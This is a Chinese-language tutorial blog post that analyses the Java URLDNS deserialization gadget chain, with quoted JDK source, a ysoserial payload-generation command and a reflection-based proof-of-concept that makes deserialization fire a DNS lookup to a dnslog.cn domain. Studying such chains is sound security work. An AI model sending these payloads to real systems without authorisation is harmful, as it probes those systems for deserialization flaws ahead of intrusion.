URLDNS链
这条链由于没有jdk版本限制,并且只依赖原生类,常常用于判断反序列化漏洞利用点的存在
测试的环境:jdk1.8.0_301
dnslog平台:http://www.dnslog.cn/
利用链
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
ysoserial
生成POC
链:ysoserial
源码地址:https://github.com/angelwhu/ysoserial
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://xxx.dnslog.cn" > 1.ser
POC
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
URL url = new URL("http://aaa.azlgqz.dnslog.cn");
HashMap hashMap = new HashMap();
Class cls = URL.class;
Field hashCode = cls.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,2213);
hashMap.put(url,1);
hashCode.set(url,-1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object o = ois.readObject();
}
}
漏洞分析:
HashMap
:
HashMap 是一个散列表,它存储的内容是键值对(key-value)映射。
HashMap 实现了 Map 接口,根据键的 HashCode 值存储数据,具有很快的访问速度,最多允许一条记录的键为 null,不支持线程同步。
HashMap 是无序的,即不会记录插入的顺序。
HashMap 继承于AbstractMap,实现了 Map、Cloneable、java.io.Serializable 接口。
HashMap为什么要自己实现writeObject和readObject方法?
HashMap中,由于Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的,对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。
Hash值不同导致的结果就是:有可能一个HashMap对象的反序列化结果与序列化之前的结果不一致。即有可能序列化之前,Key=’AAA’的元素放在数组的第0个位置,而反序列化值后,根据Key获取元素的时候,可能需要从数组为2的位置来获取,而此时获取到的数据与序列化之前肯定是不同的。
所以为了避免这个问题,HashMap采用了下面的方式来解决:
- 将可能会造成数据不一致的元素使用transient关键字修饰,从而避免JDK中默认序列化方法对该对象的序列化操作。不序列化的包括:Entry[] table,size,modCount。
- 自己实现writeObject方法,从而保证序列化和反序列化结果的一致性。
writeObject
方法:
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
int buckets = capacity();
// Write out the threshold, loadfactor, and any hidden stuff
s.defaultWriteObject();
s.writeInt(buckets);
s.writeInt(size);
internalWriteEntries(s);
}
调用了internalWriteEntries
方法:
这里的table
就是HashMap
存储的内容,为Node类型。Node为HashMap的内部类,实现了Map.Entry接口,其包含了键key、值value、下一个节点next,以及hash值四个属性。通过tab
将key-value
序列化到输出流中,这样HashMap中的数据就被序列化出来了。
void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
Node<K,V>[] tab;
if (size > 0 && (tab = table) != null) {
for (int i = 0; i < tab.length; ++i) {
for (Node<K,V> e = tab[i]; e != null; e = e.next) {
s.writeObject(e.key);
s.writeObject(e.value);
}
}
}
}
readObject
方法:
再看readObject
方法:
比较长,所以贴出了关键部分。先通过s.readInt()
读取序列化时HashMap
的size
,在通过for
循环读取出key-value
,调用putVal
重新将数据放回HashMap
中。
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
******
******
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
******
******
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
回看之前的利用链:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
readObject
中调用了hash(key)
,随后调用key
中的hashCode
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这个时候就看哪个可以序列化的类中重写了hashCode
方法,利用链中给出了URL
类
URL:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
handler.hashCode(this)
:
这个方法中调用了getHostAddress方法
,从方法名中可以看出是得到URL的地址,所以会DNS
请求。这样利用链就完成了。
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
现在实验一下看是否会发起DNS请求:
dnslog平台:http://www.dnslog.cn/
import java.net.MalformedURLException;
import java.net.URL;
public class URLDNS {
public static void main(String[] args) throws MalformedURLException {
URL url = new URL("http://aaa.25rsn5.dnslog.cn");
url.hashCode();
}
}
这里可以注意到hashCode
需要等于-1
,默认为-1
这里需要注意一下这个handler
:被transient
标记了,因此是不会被序列化的。
transient URLStreamHandler handler;
接着往下:进入到URLStreamHandler:hashCode
,调用了getHostAddress(u)
。跟进去
这里会进行一个判断,如果这个URL之前解析过。即hostAddress != null
。会直接返回hostAddress
。不会在DNS解析。可自行调用两次url.hashCode
方法判断。通过调试将第二次的hashcode
改为-1
判断。然后最终调用到InetAddress.getByName(host)
。得到地址,也就会进行DNS
解析了。后面其实还有,就不跟了。
构造POC:
通过上面的分析可以构造一个简单的链:
import java.io.*;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws IOException, ClassNotFoundException {
URL url = new URL("http://aaa.jhtlys.dnslog.cn");
HashMap hashMap = new HashMap();
hashMap.put(url,1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object o = ois.readObject();
}
}
但是这个链有一个问题就是,hashMap.put(url,1);
也会进行DNS解析。因为put
内部会调用putVal
,对上HashMap
中的readObject
了。
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
并且计算完hashCode
之后会将hashCode
的值改变,不再为-1
,那么在反序列化的时候就不会进行DNS
解析了
那么现在就需要在调用put
之前将URL
中的hashCode
改为其它的值。然后在将hashCode
的值再重写赋值为-1
。这里就需要用到Java反射的知识了。通过反射修改字段的值。现在重新修改POC
。
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
URL url = new URL("http://aaa.azlgqz.dnslog.cn");
HashMap hashMap = new HashMap();
Class cls = URL.class;
Field hashCode = cls.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url,2213);
hashMap.put(url,1);
hashCode.set(url,-1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object o = ois.readObject();
}
}
现在就可以再反序列化之后发起DNS
请求了,也是最终的POC
。在ysoserial
中URLDNS
的链跟这个有点不一样,不过原理是一样的,这里就不分析了。
总结
这条链的主要作用就是用于判断是否存在Java反序列化漏洞。因为没有jdk
版本限制,并且只依赖原生类。当然,在jdk7
中,HashMap
的readObject
有一点不一样。对比如下:不过最后都会调用hashCode
方法。所以POC
还是一样的
//jdk7
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putForCreate(key, value);
}
//jdk8
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
在分析这个链的时候一直有个问题困扰着我。就是上文提到过的transient URLStreamHandler handler;
,handler
是transient
,不会被序列化。那么在反序列化出来的时候它的值应该是null
,但是在分析的过程中可以看到事实并不是这样。经过调试分析后发现,在URL类中有个方法readResolve
。
private Object readResolve() throws ObjectStreamException {
URLStreamHandler handler = null;
// already been checked in readObject
handler = getURLStreamHandler(tempState.getProtocol());
URL replacementURL = null;
if (isBuiltinStreamHandler(handler.getClass().getName())) {
replacementURL = fabricateNewURL();
} else {
replacementURL = setDeserializedFields(handler);
}
return replacementURL;
}
在readResolve
方法中会调用fabricateNewURL
方法重写new
一个URL
实例返回。在new URL(urlString);
中会对handler
进行赋值:this.handler = handler;
在反序列化的时候会通过反射调用这个方法,与通过反射调用readObject
类似
来看看readResolve
的作用
通过实现java.io.Serializable接口,该接口是一个标志接口,其没有任何抽象方法需要进行重写,实现了Serializable接口的类,其序列化过程是默认的,当然,也可以通过在该类中重写如下四个方法对序列化的过程进行控制:
0. private Object writeReplace() throws ObjectStreamException; 1. private void writeObject(java.io.ObjectOutputStream out) throws IOException; 2. private void readObject(java.io.ObjectInputStream in) throws Exception; 3. private Object readResolve() throws ObjectStreamException;
其中,方法0和方法1是序列化的过程中会进行调用的方法,方法2和方法3是反序列化过程中会进行调用的方法。其执行的顺序是按照以上方法的排列顺序从上到下执行的。
在进行序列化时候,其序列化类java.io.ObjectOutputStream会通过反射调用writeReplace()方法。此时,可以通过返回一个与本类兼容的对象(指的是该类的子类或者本类对象)的方式替换掉需要进行序列化的本类的对象(也就是this),使其序列化所返回的对象,需要注意的是,其返回的对象的类型是需要和所序列化的本类的类型兼容的,否则,其会报ClassCastException异常。在调用完writeReplace()方法之后,其会接着调用writeObject(ObjectOutputStream out)方法进行进一步的序列化操作。在该方法中,可以序列化额外的对象,也可以调用out.defaultWriteObject()进行默认的序列化操作,其中方法的参数out对象是其原先所创建的ObjectOutputStream对象。
对于反序列化的过程,其会先通过反序列化类ObjectInputStream对象去调用readObject(ObjectInputStream in)方法,在调用该方法的时候,其可以通过in对象进行额外的反序列化操作,也可以通过调用in.defaultReadObject()方法进行默认的反序列化操作,其中方法的参数in对象是原先所创建的ObjectInputStream对象。在调用完该方法之后,其会接着调用readResolve()方法,其方法的返回值为一个Object对象,该方法返回的对象将会代替反序列化的结果,直接将其作为反序列化的结果返回给上层调用ObjectInputStream对象readObject方法的结果。
引用链接:https://www.cnblogs.com/MyStringIsNotNull/p/8017490.html
这样也就明白为什么在反序列化之后为什么handler
不是null
了。其本质是实现java
单列模式。可参考:https://www.runoob.com/design-pattern/singleton-pattern.html
Comments | 1 条评论